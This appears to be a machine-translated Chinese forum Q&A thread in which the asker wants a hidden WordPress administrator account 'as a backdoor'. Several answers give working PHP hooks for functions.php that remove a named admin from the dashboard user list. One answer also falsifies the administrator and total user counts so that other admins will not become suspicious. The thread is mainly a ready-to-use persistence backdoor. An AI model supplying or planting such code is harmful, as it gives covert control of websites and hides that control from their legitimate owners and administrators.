我想在 WordPress 中创建一个管理员用户,然后将其从 WordPress 仪表板的用户列表中隐藏,作为一种隐藏的后门。我并不是想隐藏所有管理员,只是隐藏一个特定的管理员。
非常感谢任何帮助。
您可以使用
functions.php
中的自定义函数来执行此操作。
这是一个例子:
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == '<USERNAME OF OTHER ADMIN>') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
}
}
或者您可以使用插件来实现此目的; http://wordpress.org/plugins/user-role-editor/
结合“angezanetti”的答案、“Natalia”的问题以及“user3474007”对Natalia的响应,此代码将对所有其他用户(包括管理员)隐藏该用户。
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'provideUserNameHere') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'provideUserNameHere'",$user_search->query_where);
}
}
angezanetti 有一个非常好的解决方案,但即使当 hiddenuser 从管理员列表中隐藏时,显示的管理员总数仍然不变,这可能会引起某些人的怀疑。 我通过 Symbolwdd 获取了代码,并添加了正确显示的管理员数量的行:
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'hiddenuser') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
}
}
add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
我知道,这是一个老话题,但今天有人给我发了这个链接..
一项更新:钩子不再是
pre_user_query
而是wp_user_query
。
此外,通过这种方法,您可以仅对这个特定的管理员帐户隐藏您的帐户。不是全部。如果稍后添加另一个管理员怎么办?
我要做的就是对任何人隐藏“秘密”帐户,除了他们自己(以便能够编辑它)。
@娜塔莉亚- 如果您想阻止所有其他管理员查看您的帐户,只需更改
if ($username == '<USERNAME OF OTHER ADMIN>') {
与
if ($username != '<YOUR USERNAME>') {
通过这种方式,您可以向除您自己之外的所有其他帐户隐藏您的帐户。